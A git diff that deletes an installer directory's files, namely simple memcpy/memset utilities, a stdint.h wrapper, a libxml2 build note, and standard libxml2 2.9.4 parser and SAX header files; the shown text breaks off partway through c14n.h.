b/installer/arm_user/source/utils.c deleted file mode 100644 index f02ae47..0000000 --- a/installer/arm_user/source/utils.c +++ /dev/null @@ -1,25 +0,0 @@ - -void* m_memcpy(void *dst, const void *src, unsigned int len) -{ - const unsigned char *src_ptr = (const unsigned char *)src; - unsigned char *dst_ptr = (unsigned char *)dst; - - while(len) - { - *dst_ptr++ = *src_ptr++; - --len; - } - return dst; -} - -void* m_memset(void *dst, int val, unsigned int bytes) -{ - unsigned char *dst_ptr = (unsigned char *)dst; - unsigned int i = 0; - while(i < bytes) - { - dst_ptr[i] = val; - ++i; - } - return dst; -} diff --git a/installer/arm_user/source/utils.h b/installer/arm_user/source/utils.h deleted file mode 100644 index fd41db2..0000000 --- a/installer/arm_user/source/utils.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef _UTILS_H_ -#define _UTILS_H_ - -void* m_memcpy(void *dst, const void *src, unsigned int len); -void* m_memset(void *dst, int val, unsigned int len); - -#endif diff --git a/installer/include/stdint.h b/installer/include/stdint.h deleted file mode 100644 index fff483d..0000000 --- a/installer/include/stdint.h +++ /dev/null @@ -1,15 +0,0 @@ -#ifndef _STDINT_WRAP_H -#define _STDINT_WRAP_H - -#define int32_t dontcare_int32_t -#define uint32_t dontcare_uint32_t - -#include_next - -#undef int32_t -#undef uint32_t - -typedef signed int int32_t; -typedef unsigned int uint32_t; - -#endif \ No newline at end of file diff --git a/installer/libxml2/README.md b/installer/libxml2/README.md deleted file mode 100644 index aa6a45e..0000000 --- a/installer/libxml2/README.md +++ /dev/null @@ -1,2 +0,0 @@ -Built from libxml2-2.9.4 with the following config: -./autogen.sh --disable-shared --enable-static --with-minimum=yes --with-output=yes --host=powerpc-eabi \ No newline at end of file diff --git a/installer/libxml2/include/libxml/DOCBparser.h b/installer/libxml2/include/libxml/DOCBparser.h deleted file mode 100644 index 9394fa7..0000000 --- a/installer/libxml2/include/libxml/DOCBparser.h +++ /dev/null @@ -1,96 +0,0 @@ -/* - * Summary: old DocBook SGML parser - * Description: interface for a DocBook SGML non-verifying parser - * This code is DEPRECATED, and should not be used anymore. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __DOCB_PARSER_H__ -#define __DOCB_PARSER_H__ -#include - -#ifdef LIBXML_DOCB_ENABLED - -#include -#include - -#ifndef IN_LIBXML -#ifdef __GNUC__ -#warning "The DOCBparser module has been deprecated in libxml2-2.6.0" -#endif -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Most of the back-end structures from XML and SGML are shared. - */ -typedef xmlParserCtxt docbParserCtxt; -typedef xmlParserCtxtPtr docbParserCtxtPtr; -typedef xmlSAXHandler docbSAXHandler; -typedef xmlSAXHandlerPtr docbSAXHandlerPtr; -typedef xmlParserInput docbParserInput; -typedef xmlParserInputPtr docbParserInputPtr; -typedef xmlDocPtr docbDocPtr; - -/* - * There is only few public functions. - */ -XMLPUBFUN int XMLCALL - docbEncodeEntities(unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen, int quoteChar); - -XMLPUBFUN docbDocPtr XMLCALL - docbSAXParseDoc (xmlChar *cur, - const char *encoding, - docbSAXHandlerPtr sax, - void *userData); -XMLPUBFUN docbDocPtr XMLCALL - docbParseDoc (xmlChar *cur, - const char *encoding); -XMLPUBFUN docbDocPtr XMLCALL - docbSAXParseFile (const char *filename, - const char *encoding, - docbSAXHandlerPtr sax, - void *userData); -XMLPUBFUN docbDocPtr XMLCALL - docbParseFile (const char *filename, - const char *encoding); - -/** - * Interfaces for the Push mode. - */ -XMLPUBFUN void XMLCALL - docbFreeParserCtxt (docbParserCtxtPtr ctxt); -XMLPUBFUN docbParserCtxtPtr XMLCALL - docbCreatePushParserCtxt(docbSAXHandlerPtr sax, - void *user_data, - const char *chunk, - int size, - const char *filename, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - docbParseChunk (docbParserCtxtPtr ctxt, - const char *chunk, - int size, - int terminate); -XMLPUBFUN docbParserCtxtPtr XMLCALL - docbCreateFileParserCtxt(const char *filename, - const char *encoding); -XMLPUBFUN int XMLCALL - docbParseDocument (docbParserCtxtPtr ctxt); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_DOCB_ENABLED */ - -#endif /* __DOCB_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/HTMLparser.h b/installer/libxml2/include/libxml/HTMLparser.h deleted file mode 100644 index 551186c..0000000 --- a/installer/libxml2/include/libxml/HTMLparser.h +++ /dev/null @@ -1,306 +0,0 @@ -/* - * Summary: interface for an HTML 4.0 non-verifying parser - * Description: this module implements an HTML 4.0 non-verifying parser - * with API compatible with the XML parser ones. It should - * be able to parse "real world" HTML, even if severely - * broken from a specification point of view. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __HTML_PARSER_H__ -#define __HTML_PARSER_H__ -#include -#include - -#ifdef LIBXML_HTML_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Most of the back-end structures from XML and HTML are shared. - */ -typedef xmlParserCtxt htmlParserCtxt; -typedef xmlParserCtxtPtr htmlParserCtxtPtr; -typedef xmlParserNodeInfo htmlParserNodeInfo; -typedef xmlSAXHandler htmlSAXHandler; -typedef xmlSAXHandlerPtr htmlSAXHandlerPtr; -typedef xmlParserInput htmlParserInput; -typedef xmlParserInputPtr htmlParserInputPtr; -typedef xmlDocPtr htmlDocPtr; -typedef xmlNodePtr htmlNodePtr; - -/* - * Internal description of an HTML element, representing HTML 4.01 - * and XHTML 1.0 (which share the same structure). - */ -typedef struct _htmlElemDesc htmlElemDesc; -typedef htmlElemDesc *htmlElemDescPtr; -struct _htmlElemDesc { - const char *name; /* The tag name */ - char startTag; /* Whether the start tag can be implied */ - char endTag; /* Whether the end tag can be implied */ - char saveEndTag; /* Whether the end tag should be saved */ - char empty; /* Is this an empty element ? */ - char depr; /* Is this a deprecated element ? */ - char dtd; /* 1: only in Loose DTD, 2: only Frameset one */ - char isinline; /* is this a block 0 or inline 1 element */ - const char *desc; /* the description */ - -/* NRK Jan.2003 - * New fields encapsulating HTML structure - * - * Bugs: - * This is a very limited representation. It fails to tell us when - * an element *requires* subelements (we only have whether they're - * allowed or not), and it doesn't tell us where CDATA and PCDATA - * are allowed. Some element relationships are not fully represented: - * these are flagged with the word MODIFIER - */ - const char** subelts; /* allowed sub-elements of this element */ - const char* defaultsubelt; /* subelement for suggested auto-repair - if necessary or NULL */ - const char** attrs_opt; /* Optional Attributes */ - const char** attrs_depr; /* Additional deprecated attributes */ - const char** attrs_req; /* Required attributes */ -}; - -/* - * Internal description of an HTML entity. - */ -typedef struct _htmlEntityDesc htmlEntityDesc; -typedef htmlEntityDesc *htmlEntityDescPtr; -struct _htmlEntityDesc { - unsigned int value; /* the UNICODE value for the character */ - const char *name; /* The entity name */ - const char *desc; /* the description */ -}; - -/* - * There is only few public functions. - */ -XMLPUBFUN const htmlElemDesc * XMLCALL - htmlTagLookup (const xmlChar *tag); -XMLPUBFUN const htmlEntityDesc * XMLCALL - htmlEntityLookup(const xmlChar *name); -XMLPUBFUN const htmlEntityDesc * XMLCALL - htmlEntityValueLookup(unsigned int value); - -XMLPUBFUN int XMLCALL - htmlIsAutoClosed(htmlDocPtr doc, - htmlNodePtr elem); -XMLPUBFUN int XMLCALL - htmlAutoCloseTag(htmlDocPtr doc, - const xmlChar *name, - htmlNodePtr elem); -XMLPUBFUN const htmlEntityDesc * XMLCALL - htmlParseEntityRef(htmlParserCtxtPtr ctxt, - const xmlChar **str); -XMLPUBFUN int XMLCALL - htmlParseCharRef(htmlParserCtxtPtr ctxt); -XMLPUBFUN void XMLCALL - htmlParseElement(htmlParserCtxtPtr ctxt); - -XMLPUBFUN htmlParserCtxtPtr XMLCALL - htmlNewParserCtxt(void); - -XMLPUBFUN htmlParserCtxtPtr XMLCALL - htmlCreateMemoryParserCtxt(const char *buffer, - int size); - -XMLPUBFUN int XMLCALL - htmlParseDocument(htmlParserCtxtPtr ctxt); -XMLPUBFUN htmlDocPtr XMLCALL - htmlSAXParseDoc (xmlChar *cur, - const char *encoding, - htmlSAXHandlerPtr sax, - void *userData); -XMLPUBFUN htmlDocPtr XMLCALL - htmlParseDoc (xmlChar *cur, - const char *encoding); -XMLPUBFUN htmlDocPtr XMLCALL - htmlSAXParseFile(const char *filename, - const char *encoding, - htmlSAXHandlerPtr sax, - void *userData); -XMLPUBFUN htmlDocPtr XMLCALL - htmlParseFile (const char *filename, - const char *encoding); -XMLPUBFUN int XMLCALL - UTF8ToHtml (unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen); -XMLPUBFUN int XMLCALL - htmlEncodeEntities(unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen, int quoteChar); -XMLPUBFUN int XMLCALL - htmlIsScriptAttribute(const xmlChar *name); -XMLPUBFUN int XMLCALL - htmlHandleOmittedElem(int val); - -#ifdef LIBXML_PUSH_ENABLED -/** - * Interfaces for the Push mode. - */ -XMLPUBFUN htmlParserCtxtPtr XMLCALL - htmlCreatePushParserCtxt(htmlSAXHandlerPtr sax, - void *user_data, - const char *chunk, - int size, - const char *filename, - xmlCharEncoding enc); -XMLPUBFUN int XMLCALL - htmlParseChunk (htmlParserCtxtPtr ctxt, - const char *chunk, - int size, - int terminate); -#endif /* LIBXML_PUSH_ENABLED */ - -XMLPUBFUN void XMLCALL - htmlFreeParserCtxt (htmlParserCtxtPtr ctxt); - -/* - * New set of simpler/more flexible APIs - */ -/** - * xmlParserOption: - * - * This is the set of XML parser options that can be passed down - * to the xmlReadDoc() and similar calls. - */ -typedef enum { - HTML_PARSE_RECOVER = 1<<0, /* Relaxed parsing */ - HTML_PARSE_NODEFDTD = 1<<2, /* do not default a doctype if not found */ - HTML_PARSE_NOERROR = 1<<5, /* suppress error reports */ - HTML_PARSE_NOWARNING= 1<<6, /* suppress warning reports */ - HTML_PARSE_PEDANTIC = 1<<7, /* pedantic error reporting */ - HTML_PARSE_NOBLANKS = 1<<8, /* remove blank nodes */ - HTML_PARSE_NONET = 1<<11,/* Forbid network access */ - HTML_PARSE_NOIMPLIED= 1<<13,/* Do not add implied html/body... elements */ - HTML_PARSE_COMPACT = 1<<16,/* compact small text nodes */ - HTML_PARSE_IGNORE_ENC=1<<21 /* ignore internal document encoding hint */ -} htmlParserOption; - -XMLPUBFUN void XMLCALL - htmlCtxtReset (htmlParserCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - htmlCtxtUseOptions (htmlParserCtxtPtr ctxt, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadDoc (const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadFile (const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadMemory (const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadFd (int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlReadIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadDoc (xmlParserCtxtPtr ctxt, - const xmlChar *cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadFile (xmlParserCtxtPtr ctxt, - const char *filename, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadMemory (xmlParserCtxtPtr ctxt, - const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadFd (xmlParserCtxtPtr ctxt, - int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN htmlDocPtr XMLCALL - htmlCtxtReadIO (xmlParserCtxtPtr ctxt, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); - -/* NRK/Jan2003: further knowledge of HTML structure - */ -typedef enum { - HTML_NA = 0 , /* something we don't check at all */ - HTML_INVALID = 0x1 , - HTML_DEPRECATED = 0x2 , - HTML_VALID = 0x4 , - HTML_REQUIRED = 0xc /* VALID bit set so ( & HTML_VALID ) is TRUE */ -} htmlStatus ; - -/* Using htmlElemDesc rather than name here, to emphasise the fact - that otherwise there's a lookup overhead -*/ -XMLPUBFUN htmlStatus XMLCALL htmlAttrAllowed(const htmlElemDesc*, const xmlChar*, int) ; -XMLPUBFUN int XMLCALL htmlElementAllowedHere(const htmlElemDesc*, const xmlChar*) ; -XMLPUBFUN htmlStatus XMLCALL htmlElementStatusHere(const htmlElemDesc*, const htmlElemDesc*) ; -XMLPUBFUN htmlStatus XMLCALL htmlNodeStatus(const htmlNodePtr, int) ; -/** - * htmlDefaultSubelement: - * @elt: HTML element - * - * Returns the default subelement for this element - */ -#define htmlDefaultSubelement(elt) elt->defaultsubelt -/** - * htmlElementAllowedHereDesc: - * @parent: HTML parent element - * @elt: HTML element - * - * Checks whether an HTML element description may be a - * direct child of the specified element. - * - * Returns 1 if allowed; 0 otherwise. - */ -#define htmlElementAllowedHereDesc(parent,elt) \ - htmlElementAllowedHere((parent), (elt)->name) -/** - * htmlRequiredAttrs: - * @elt: HTML element - * - * Returns the attributes required for the specified element. - */ -#define htmlRequiredAttrs(elt) (elt)->attrs_req - - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_HTML_ENABLED */ -#endif /* __HTML_PARSER_H__ */ diff --git a/installer/libxml2/include/libxml/HTMLtree.h b/installer/libxml2/include/libxml/HTMLtree.h deleted file mode 100644 index c0e1103..0000000 --- a/installer/libxml2/include/libxml/HTMLtree.h +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Summary: specific APIs to process HTML tree, especially serialization - * Description: this module implements a few function needed to process - * tree in an HTML specific way. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __HTML_TREE_H__ -#define __HTML_TREE_H__ - -#include -#include -#include -#include - -#ifdef LIBXML_HTML_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - - -/** - * HTML_TEXT_NODE: - * - * Macro. A text node in a HTML document is really implemented - * the same way as a text node in an XML document. - */ -#define HTML_TEXT_NODE XML_TEXT_NODE -/** - * HTML_ENTITY_REF_NODE: - * - * Macro. An entity reference in a HTML document is really implemented - * the same way as an entity reference in an XML document. - */ -#define HTML_ENTITY_REF_NODE XML_ENTITY_REF_NODE -/** - * HTML_COMMENT_NODE: - * - * Macro. A comment in a HTML document is really implemented - * the same way as a comment in an XML document. - */ -#define HTML_COMMENT_NODE XML_COMMENT_NODE -/** - * HTML_PRESERVE_NODE: - * - * Macro. A preserved node in a HTML document is really implemented - * the same way as a CDATA section in an XML document. - */ -#define HTML_PRESERVE_NODE XML_CDATA_SECTION_NODE -/** - * HTML_PI_NODE: - * - * Macro. A processing instruction in a HTML document is really implemented - * the same way as a processing instruction in an XML document. - */ -#define HTML_PI_NODE XML_PI_NODE - -XMLPUBFUN htmlDocPtr XMLCALL - htmlNewDoc (const xmlChar *URI, - const xmlChar *ExternalID); -XMLPUBFUN htmlDocPtr XMLCALL - htmlNewDocNoDtD (const xmlChar *URI, - const xmlChar *ExternalID); -XMLPUBFUN const xmlChar * XMLCALL - htmlGetMetaEncoding (htmlDocPtr doc); -XMLPUBFUN int XMLCALL - htmlSetMetaEncoding (htmlDocPtr doc, - const xmlChar *encoding); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - htmlDocDumpMemory (xmlDocPtr cur, - xmlChar **mem, - int *size); -XMLPUBFUN void XMLCALL - htmlDocDumpMemoryFormat (xmlDocPtr cur, - xmlChar **mem, - int *size, - int format); -XMLPUBFUN int XMLCALL - htmlDocDump (FILE *f, - xmlDocPtr cur); -XMLPUBFUN int XMLCALL - htmlSaveFile (const char *filename, - xmlDocPtr cur); -XMLPUBFUN int XMLCALL - htmlNodeDump (xmlBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur); -XMLPUBFUN void XMLCALL - htmlNodeDumpFile (FILE *out, - xmlDocPtr doc, - xmlNodePtr cur); -XMLPUBFUN int XMLCALL - htmlNodeDumpFileFormat (FILE *out, - xmlDocPtr doc, - xmlNodePtr cur, - const char *encoding, - int format); -XMLPUBFUN int XMLCALL - htmlSaveFileEnc (const char *filename, - xmlDocPtr cur, - const char *encoding); -XMLPUBFUN int XMLCALL - htmlSaveFileFormat (const char *filename, - xmlDocPtr cur, - const char *encoding, - int format); - -XMLPUBFUN void XMLCALL - htmlNodeDumpFormatOutput(xmlOutputBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - const char *encoding, - int format); -XMLPUBFUN void XMLCALL - htmlDocContentDumpOutput(xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding); -XMLPUBFUN void XMLCALL - htmlDocContentDumpFormatOutput(xmlOutputBufferPtr buf, - xmlDocPtr cur, - const char *encoding, - int format); -XMLPUBFUN void XMLCALL - htmlNodeDumpOutput (xmlOutputBufferPtr buf, - xmlDocPtr doc, - xmlNodePtr cur, - const char *encoding); - -#endif /* LIBXML_OUTPUT_ENABLED */ - -XMLPUBFUN int XMLCALL - htmlIsBooleanAttr (const xmlChar *name); - - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_HTML_ENABLED */ - -#endif /* __HTML_TREE_H__ */ - diff --git a/installer/libxml2/include/libxml/SAX.h b/installer/libxml2/include/libxml/SAX.h deleted file mode 100644 index 20093ce..0000000 --- a/installer/libxml2/include/libxml/SAX.h +++ /dev/null @@ -1,173 +0,0 @@ -/* - * Summary: Old SAX version 1 handler, deprecated - * Description: DEPRECATED set of SAX version 1 interfaces used to - * build the DOM tree. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SAX_H__ -#define __XML_SAX_H__ - -#include -#include -#include -#include -#include - -#ifdef LIBXML_LEGACY_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN const xmlChar * XMLCALL - getPublicId (void *ctx); -XMLPUBFUN const xmlChar * XMLCALL - getSystemId (void *ctx); -XMLPUBFUN void XMLCALL - setDocumentLocator (void *ctx, - xmlSAXLocatorPtr loc); - -XMLPUBFUN int XMLCALL - getLineNumber (void *ctx); -XMLPUBFUN int XMLCALL - getColumnNumber (void *ctx); - -XMLPUBFUN int XMLCALL - isStandalone (void *ctx); -XMLPUBFUN int XMLCALL - hasInternalSubset (void *ctx); -XMLPUBFUN int XMLCALL - hasExternalSubset (void *ctx); - -XMLPUBFUN void XMLCALL - internalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN void XMLCALL - externalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlEntityPtr XMLCALL - getEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - getParameterEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlParserInputPtr XMLCALL - resolveEntity (void *ctx, - const xmlChar *publicId, - const xmlChar *systemId); - -XMLPUBFUN void XMLCALL - entityDecl (void *ctx, - const xmlChar *name, - int type, - const xmlChar *publicId, - const xmlChar *systemId, - xmlChar *content); -XMLPUBFUN void XMLCALL - attributeDecl (void *ctx, - const xmlChar *elem, - const xmlChar *fullname, - int type, - int def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -XMLPUBFUN void XMLCALL - elementDecl (void *ctx, - const xmlChar *name, - int type, - xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - notationDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId); -XMLPUBFUN void XMLCALL - unparsedEntityDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId, - const xmlChar *notationName); - -XMLPUBFUN void XMLCALL - startDocument (void *ctx); -XMLPUBFUN void XMLCALL - endDocument (void *ctx); -XMLPUBFUN void XMLCALL - attribute (void *ctx, - const xmlChar *fullname, - const xmlChar *value); -XMLPUBFUN void XMLCALL - startElement (void *ctx, - const xmlChar *fullname, - const xmlChar **atts); -XMLPUBFUN void XMLCALL - endElement (void *ctx, - const xmlChar *name); -XMLPUBFUN void XMLCALL - reference (void *ctx, - const xmlChar *name); -XMLPUBFUN void XMLCALL - characters (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - ignorableWhitespace (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - processingInstruction (void *ctx, - const xmlChar *target, - const xmlChar *data); -XMLPUBFUN void XMLCALL - globalNamespace (void *ctx, - const xmlChar *href, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - setNamespace (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlNsPtr XMLCALL - getNamespace (void *ctx); -XMLPUBFUN int XMLCALL - checkNamespace (void *ctx, - xmlChar *nameSpace); -XMLPUBFUN void XMLCALL - namespaceDecl (void *ctx, - const xmlChar *href, - const xmlChar *prefix); -XMLPUBFUN void XMLCALL - comment (void *ctx, - const xmlChar *value); -XMLPUBFUN void XMLCALL - cdataBlock (void *ctx, - const xmlChar *value, - int len); - -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN void XMLCALL - initxmlDefaultSAXHandler (xmlSAXHandlerV1 *hdlr, - int warning); -#ifdef LIBXML_HTML_ENABLED -XMLPUBFUN void XMLCALL - inithtmlDefaultSAXHandler (xmlSAXHandlerV1 *hdlr); -#endif -#ifdef LIBXML_DOCB_ENABLED -XMLPUBFUN void XMLCALL - initdocbDefaultSAXHandler (xmlSAXHandlerV1 *hdlr); -#endif -#endif /* LIBXML_SAX1_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_LEGACY_ENABLED */ - -#endif /* __XML_SAX_H__ */ diff --git a/installer/libxml2/include/libxml/SAX2.h b/installer/libxml2/include/libxml/SAX2.h deleted file mode 100644 index a55212e..0000000 --- a/installer/libxml2/include/libxml/SAX2.h +++ /dev/null @@ -1,178 +0,0 @@ -/* - * Summary: SAX2 parser interface used to build the DOM tree - * Description: those are the default SAX2 interfaces used by - * the library when building DOM tree. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SAX2_H__ -#define __XML_SAX2_H__ - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN const xmlChar * XMLCALL - xmlSAX2GetPublicId (void *ctx); -XMLPUBFUN const xmlChar * XMLCALL - xmlSAX2GetSystemId (void *ctx); -XMLPUBFUN void XMLCALL - xmlSAX2SetDocumentLocator (void *ctx, - xmlSAXLocatorPtr loc); - -XMLPUBFUN int XMLCALL - xmlSAX2GetLineNumber (void *ctx); -XMLPUBFUN int XMLCALL - xmlSAX2GetColumnNumber (void *ctx); - -XMLPUBFUN int XMLCALL - xmlSAX2IsStandalone (void *ctx); -XMLPUBFUN int XMLCALL - xmlSAX2HasInternalSubset (void *ctx); -XMLPUBFUN int XMLCALL - xmlSAX2HasExternalSubset (void *ctx); - -XMLPUBFUN void XMLCALL - xmlSAX2InternalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN void XMLCALL - xmlSAX2ExternalSubset (void *ctx, - const xmlChar *name, - const xmlChar *ExternalID, - const xmlChar *SystemID); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlSAX2GetEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlSAX2GetParameterEntity (void *ctx, - const xmlChar *name); -XMLPUBFUN xmlParserInputPtr XMLCALL - xmlSAX2ResolveEntity (void *ctx, - const xmlChar *publicId, - const xmlChar *systemId); - -XMLPUBFUN void XMLCALL - xmlSAX2EntityDecl (void *ctx, - const xmlChar *name, - int type, - const xmlChar *publicId, - const xmlChar *systemId, - xmlChar *content); -XMLPUBFUN void XMLCALL - xmlSAX2AttributeDecl (void *ctx, - const xmlChar *elem, - const xmlChar *fullname, - int type, - int def, - const xmlChar *defaultValue, - xmlEnumerationPtr tree); -XMLPUBFUN void XMLCALL - xmlSAX2ElementDecl (void *ctx, - const xmlChar *name, - int type, - xmlElementContentPtr content); -XMLPUBFUN void XMLCALL - xmlSAX2NotationDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId); -XMLPUBFUN void XMLCALL - xmlSAX2UnparsedEntityDecl (void *ctx, - const xmlChar *name, - const xmlChar *publicId, - const xmlChar *systemId, - const xmlChar *notationName); - -XMLPUBFUN void XMLCALL - xmlSAX2StartDocument (void *ctx); -XMLPUBFUN void XMLCALL - xmlSAX2EndDocument (void *ctx); -#if defined(LIBXML_SAX1_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ - defined(LIBXML_WRITER_ENABLED) || defined(LIBXML_DOCB_ENABLED) || \ - defined(LIBXML_LEGACY_ENABLED) -XMLPUBFUN void XMLCALL - xmlSAX2StartElement (void *ctx, - const xmlChar *fullname, - const xmlChar **atts); -XMLPUBFUN void XMLCALL - xmlSAX2EndElement (void *ctx, - const xmlChar *name); -#endif /* LIBXML_SAX1_ENABLED or LIBXML_HTML_ENABLED or LIBXML_LEGACY_ENABLED */ -XMLPUBFUN void XMLCALL - xmlSAX2StartElementNs (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI, - int nb_namespaces, - const xmlChar **namespaces, - int nb_attributes, - int nb_defaulted, - const xmlChar **attributes); -XMLPUBFUN void XMLCALL - xmlSAX2EndElementNs (void *ctx, - const xmlChar *localname, - const xmlChar *prefix, - const xmlChar *URI); -XMLPUBFUN void XMLCALL - xmlSAX2Reference (void *ctx, - const xmlChar *name); -XMLPUBFUN void XMLCALL - xmlSAX2Characters (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - xmlSAX2IgnorableWhitespace (void *ctx, - const xmlChar *ch, - int len); -XMLPUBFUN void XMLCALL - xmlSAX2ProcessingInstruction (void *ctx, - const xmlChar *target, - const xmlChar *data); -XMLPUBFUN void XMLCALL - xmlSAX2Comment (void *ctx, - const xmlChar *value); -XMLPUBFUN void XMLCALL - xmlSAX2CDataBlock (void *ctx, - const xmlChar *value, - int len); - -#ifdef LIBXML_SAX1_ENABLED -XMLPUBFUN int XMLCALL - xmlSAXDefaultVersion (int version); -#endif /* LIBXML_SAX1_ENABLED */ - -XMLPUBFUN int XMLCALL - xmlSAXVersion (xmlSAXHandler *hdlr, - int version); -XMLPUBFUN void XMLCALL - xmlSAX2InitDefaultSAXHandler (xmlSAXHandler *hdlr, - int warning); -#ifdef LIBXML_HTML_ENABLED -XMLPUBFUN void XMLCALL - xmlSAX2InitHtmlDefaultSAXHandler(xmlSAXHandler *hdlr); -XMLPUBFUN void XMLCALL - htmlDefaultSAXHandlerInit (void); -#endif -#ifdef LIBXML_DOCB_ENABLED -XMLPUBFUN void XMLCALL - xmlSAX2InitDocbDefaultSAXHandler(xmlSAXHandler *hdlr); -XMLPUBFUN void XMLCALL - docbDefaultSAXHandlerInit (void); -#endif -XMLPUBFUN void XMLCALL - xmlDefaultSAXHandlerInit (void); -#ifdef __cplusplus -} -#endif -#endif /* __XML_SAX2_H__ */ diff --git a/installer/libxml2/include/libxml/c14n.h b/installer/libxml2/include/libxml/c14n.h deleted file mode 100644 index b8971d9..0000000 --- a/installer/libxml2/include/libxml/c14n.h +++ /dev/null @@ -1,126 +0,0 @@ -/* - * Summary: Provide Canonical XML and Exclusive XML Canonicalization - * Description: the c14n modules provides a - * - * "Canonical XML" implementation - * http://www.w3.org/TR/xml-c14n - * - * and an - * - * "Exclusive XML Canonicalization" implementation - * http://www.w3.org/TR/xml-exc-c14n - - * Copy: See Copyright for the status of this software. - * - * Author: Aleksey Sanin - */ -#ifndef __XML_C14N_H__ -#define __XML_C14N_H__ -#ifdef LIBXML_C14N_ENABLED -#ifdef LIBXML_OUTPUT_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif /* __cplusplus */ - -#include -#include -#include - -/* - * XML Canonicazation - * http://www.w3.org/TR/xml-c14n - * - * Exclusive XML Canonicazation - * http://www.w3.org/TR/xml-exc-c14n - * - * Canonical form of an XML document could be created if and only if - * a) default attributes (if any) are added to all nodes - * b) all character and parsed entity references are resolved - * In order to achive this in libxml2 the document MUST be loaded with - * following global setings: - * - * xmlLoadExtDtdDefaultValue = XML_DETECT_IDS | XML_COMPLETE_ATTRS; - * xmlSubstituteEntitiesDefault(1); - * - * or corresponding parser context setting: - * xmlParserCtxtPtr ctxt; - * - * ... - * ctxt->loadsubset = XML_DETECT_IDS | XML_COMPLETE_ATTRS; - * ctxt->replaceEntities = 1; - * ... - */ - -/* - * xmlC14NMode: - * - * Predefined values for C14N modes - * - */ -typedef enum { - XML_C14N_1_0 = 0, /* Origianal C14N 1.0 spec */ - XML_C14N_EXCLUSIVE_1_0 = 1, /* Exclusive C14N 1.0 spec */ - XML_C14N_1_1 = 2 /* C14N 1.1 spec */ -} xmlC14NMode; - -XMLPUBFUN int XMLCALL - xmlC14NDocSaveTo (xmlDocPtr doc, - xmlNodeSetPtr nodes, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - xmlOutputBufferPtr buf); - -XMLPUBFUN int XMLCALL - xmlC14NDocDumpMemory (xmlDocPtr doc, - xmlNodeSetPtr nodes, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - xmlChar **doc_txt_ptr); - 